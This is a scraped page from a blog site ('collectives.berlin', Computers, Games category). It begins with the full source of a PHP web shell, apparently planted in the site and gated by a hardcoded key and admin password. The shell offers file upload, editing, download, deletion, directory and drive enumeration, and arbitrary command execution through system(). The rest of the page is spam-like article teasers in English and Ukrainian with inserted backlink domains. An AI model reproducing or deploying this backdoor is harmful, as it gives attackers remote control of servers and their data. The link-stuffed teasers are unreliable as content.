if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Computers, Games – Page 24 – collectives.berlin

Your digital paradise.

Category: Computers, Games

  • How to Research Neighborhoods Before You Relocate

    Relocating to a new neighborhood is a significant decision that requires careful consideration and thorough research. Understanding the community, https://charlotterelocationguide.com amenities, safety, and overall lifestyle can make a difference in ensuring that your new home aligns with your needs and preferences. Here are comprehensive steps to effectively research neighborhoods before making a move. 1. Define…

    Click or not…

  • Моніторинг ЗМІ: навіщо відстежувати згадки про бренд чи подію

    Моніторинг ЗМІ – це важлива складова сучасного бізнесу, яка дозволяє компаніям та організаціям отримувати цінну інформацію про їхній імідж, репутацію, а також про ефективність комунікаційних стратегій. В умовах швидко змінюваного інформаційного середовища, де новини поширюються миттєво, nationbrief.org.ua важливо мати можливість оперативно реагувати на згадки про бренд чи подію. По-перше, моніторинг ЗМІ дозволяє компаніям зрозуміти, як…

    Click or not…

  • Тенденції сучасної журналістики: що змінилося у 2026 році

    У 2026 році журналістика пережила суттєві зміни, які зумовлені розвитком технологій, змінами в суспільстві та новими вимогами аудиторії. Цей звіт аналізує основні тенденції, що вплинули на медіапейзаж, https://mediaspace.com.ua а також їхні наслідки для журналістської практики та етики. По-перше, значний вплив на журналістику в 2026 році мали новітні технології, зокрема штучний інтелект (ШІ) та автоматизація. Багато…

    Click or not…

  • The Economics of Relocating a Business to a New City

    Relocating a business to a new city is a significant decision that can have profound economic implications for nationallogisticspost.com the company. This process involves a comprehensive analysis of various factors, including costs, benefits, market conditions, labor availability, and potential tax incentives. Understanding these elements is crucial for business owners considering such a move. One of…

    Click or not…

  • Interstate Moving Claims: How to File for Damaged Items

    Moving to a new home can be an exciting yet stressful experience, especially when it involves long-distance relocations. One of the significant concerns during an interstate move is the potential for damage to personal belongings. Understanding how to file a claim for corporate-movers-usa.com damaged items is crucial for ensuring that you receive the compensation you…

    Click or not…

  • Packing Your Kitchen: Organizing Dishes, Pans, and Pantry

    Organizing your kitchen can be a daunting task, especially when it comes time to pack everything up for a move or a major renovation. However, with a strategic approach, you can efficiently pack your kitchen items, https://texasrelocationchronicle.com ensuring that they remain safe and organized during the transition. This report outlines essential steps to effectively pack…

    Click or not…

  • How to Budget for Hidden Costs When Buying a Home

    Buying a home is one of the most significant financial decisions a person can make. While many prospective homeowners are aware of the obvious costs associated with purchasing a property, such as the down payment and mortgage payments, propertytransitionmedia.com hidden costs can often catch buyers off guard. To ensure a smooth home-buying experience, it is…

    Click or not…

  • Understanding Moving Insurance: What Coverage You Actually Need

    When planning a move, one of the most critical yet often overlooked aspects is understanding moving insurance. Moving insurance protects your belongings during transit, charlotterelocationguide.com ensuring that you are compensated in the event of damage, loss, or theft. However, not all moving insurance is created equal, and knowing what coverage you actually need can save…

    Click or not…

  • Цифрові медіа проти друкованих видань: майбутнє преси

    У сучасному світі, де технології розвиваються з неймовірною швидкістю, reportdigest.org.ua питання про майбутнє преси стає все більш актуальним. Цифрові медіа, які стали невід’ємною частиною нашого повсякденного життя, поступово витісняють традиційні друковані видання. Це викликало безліч дискусій про те, яке з цих двох форматів буде домінувати в майбутньому. По-перше, варто зазначити, що цифрові медіа забезпечують миттєвий…

    Click or not…

  • Переклад новин: нюанси адаптації іноземних матеріалів

    Переклад новин є важливим аспектом сучасної журналістики, оскільки він дозволяє поширювати інформацію з різних куточків світу та забезпечує доступ до актуальних подій для широкої аудиторії. Проте, https://mediaspace.com.ua процес перекладу новин не є простим і вимагає врахування багатьох нюансів, які можуть впливати на кінцевий результат. У цьому звіті розглянемо основні аспекти адаптації іноземних матеріалів, зокрема культурні,…

    Click or not…